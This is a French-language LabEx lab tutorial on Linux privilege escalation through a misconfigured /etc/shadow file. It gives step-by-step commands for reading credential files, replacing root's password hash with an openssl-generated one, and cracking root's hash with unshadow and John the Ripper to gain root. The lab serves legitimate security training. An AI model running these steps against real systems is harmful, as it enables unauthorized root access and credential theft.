Introduction
Les systèmes Linux dépendent des fichiers /etc/passwd et /etc/shadow pour l'authentification des utilisateurs et le contrôle d'accès. Si les administrateurs système configurent incorrectement les autorisations ou le contenu de ces fichiers, cela peut créer des opportunités pour des attaques d'escalade de privilèges. Dans ce laboratoire (LabEx), vous apprendrez à exploiter le fichier /etc/shadow pour obtenir les privilèges root sur un système Linux. Ce scénario suppose que vous avez déjà obtenu un accès initial à un shell avec des privilèges faibles en tant qu'utilisateur régulier.
Comprendre le fichier /etc/shadow
Dans cette étape, vous allez apprendre la structure et le but du fichier /etc/shadow.
Le fichier /etc/shadow stocke les mots de passe chiffrés et les informations de configuration liées aux mots de passe pour chaque compte utilisateur. Chaque ligne du fichier représente un utilisateur et contient 9 champs séparés par des deux-points :
- Nom d'utilisateur
- Hash du mot de passe chiffré
- Nombre de jours depuis l'époque (1970-01-01) où le mot de passe a été modifié pour la dernière fois
- Nombre minimum de jours requis entre les modifications de mot de passe
- Nombre maximum de jours pendant lesquels le mot de passe est valide
- Nombre de jours avant l'expiration du mot de passe pour avertir l'utilisateur
- Nombre de jours après l'expiration du mot de passe avant que le compte ne soit désactivé
- Nombre de jours depuis l'époque (1970-01-01) où le compte sera désactivé
- Champ réservé pour une utilisation future
Ouvrez un terminal et accédez au répertoire /home/labex/project.
cd /home/labex/project
Vérifions l'entrée de l'utilisateur labex dans le fichier /etc/shadow :
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
Notez que nous avons utilisé sudo pour lire le fichier /etc/shadow. C'est parce que le fichier n'est lisible que par l'utilisateur root.
Vérifiez le contenu du fichier labex_shadow.txt :
cat labex_shadow.txt
Exemple de sortie :
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
Cette ligne indique :
- Nom d'utilisateur :
labex - Hash du mot de passe chiffré :
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8 - Dernière modification du mot de passe : 19818 jours depuis l'époque (1970-01-01)
- Âge minimum du mot de passe : 0 jours (pas de restriction)
- Âge maximum du mot de passe : 99999 jours (pas d'expiration)
- Période d'avertissement du mot de passe : 7 jours avant l'expiration
- Le compte n'expire jamais
Par défaut, seul l'utilisateur root peut lire et modifier le fichier /etc/shadow. Cependant, des autorisations mal configurées (misconfigured) peuvent parfois offrir des opportunités d'escalade de privilèges.
Élever les privilèges avec un accès en écriture au fichier /etc/shadow
Dans cette étape, vous apprendrez à escalader les privilèges en modifiant le mot de passe de l'utilisateur root dans le fichier /etc/shadow si vous avez un accès en écriture à ce fichier.
Tout d'abord, ouvrez un terminal et accédez au répertoire
/home/labex/project:cd /home/labex/projectVous trouverez un script nommé
env_setup_1.shdans le répertoire. Exécutez ce script pour configurer l'environnement :./env_setup_1.shCela configurera l'environnement et vous connectera en tant qu'utilisateur
user001, simulant un accès initial à un shell avec des privilèges faibles.Accédez au répertoire personnel de l'utilisateur
user001:cd ~Ensuite, vérifiez les autorisations du fichier
/etc/shadow:ls -alh /etc/shadowExemple de sortie :
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadowVous devriez constater que l'utilisateur
user001a un accès en écriture au fichier/etc/shadowen raison d'une mauvaise configuration (misconfiguration).Maintenant, vous pouvez éditer le fichier
/etc/shadowet remplacer le hash du mot de passe de l'utilisateur root par un nouveau.Tout d'abord, affichez le hash actuel du mot de passe de l'utilisateur root :
cat /etc/shadow | grep rootExemple de sortie :
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Pour définir un nouveau mot de passe (par exemple,
pass123), générez un nouveau hash de mot de passe à l'aide de l'utilitaireopenssl:openssl passwd -1 -salt ignite pass123Exemple de sortie :
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1Ouvrez le fichier
/etc/shadowdans un éditeur de texte et remplacez le hash du mot de passe de l'utilisateur root par le nouveau.nano /etc/shadowTrouvez le hash du mot de passe de l'utilisateur root :
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::Remplacez le hash du mot de passe par le nouveau :
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::Enregistrez les modifications et quittez l'éditeur.
Enfin, utilisez la commande
su rootpour vous connecter en tant qu'utilisateur root, en entrant le nouveau mot de passepass123lorsque vous y êtes invité.su root
Vous devriez maintenant avoir les privilèges root sur le système.
Élever les privilèges avec un accès en lecture au fichier /etc/shadow
Dans cette étape, vous apprendrez à escalader les privilèges en craquant le hash du mot de passe de l'utilisateur root si vous n'avez qu'un accès en lecture au fichier /etc/shadow.
Après l'étape précédente, vous devriez être connecté en tant qu'utilisateur root. Vous pouvez ouvrir un nouveau terminal ou utiliser la commande exit pour vous déconnecter de l'utilisateur actuel jusqu'à ce que vous reveniez à l'utilisateur labex.
Lorsque vous êtes connecté en tant qu'utilisateur
labex, accédez au répertoire/home/labex/project:cd /home/labex/projectExécutez le script
env_setup_2.shpour configurer l'environnement :./env_setup_2.shCela configurera un nouvel environnement où l'utilisateur
user001a un accès en lecture au fichier/etc/shadow.Accédez au répertoire personnel de l'utilisateur
user001:cd ~Vérifiez les autorisations du fichier
/etc/shadow:ls -alh /etc/shadowExemple de sortie :
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadowVous devriez constater que l'utilisateur
user001a un accès en lecture au fichier/etc/shadowen raison d'une mauvaise configuration (misconfiguration).Ensuite, nous pouvons utiliser l'outil
johnpour craquer le hash du mot de passe de l'utilisateur root. Avant d'utiliserjohn, vous devez combiner le contenu des fichiers/etc/passwdet/etc/shadowà l'aide de la commandeunshadow:unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txtMaintenant, exécutez
johnsur le fichiershadow_crack.txtpour craquer le hash du mot de passe de l'utilisateur root et enregistrez les mots de passe craqués dans un fichier :john --users=root shadow_crack.txt > cracked_passwords.txtVérifiez le contenu du fichier
cracked_passwords.txtpour voir le mot de passe craqué :Loaded 1 password hash (md5crypt [MD5 32/64 X2]) study (root)Enfin, utilisez la commande
su rootpour vous connecter en tant qu'utilisateur root, en entrant le mot de passe craquéstudylorsque vous y êtes invité :su root
Vous devriez maintenant avoir les privilèges root sur le système.
Résumé
Dans ce laboratoire (LabEx), vous avez appris la structure et le but du fichier /etc/shadow, ainsi que deux méthodes pour escalader les privilèges en exploitant ce fichier : modifier le hash du mot de passe de l'utilisateur root avec un accès en écriture, ou craquer le hash du mot de passe de l'utilisateur root avec un accès en lecture. Ces techniques démontrent l'importance de configurer correctement les autorisations des fichiers et de sécuriser les fichiers système sensibles dans un environnement Linux.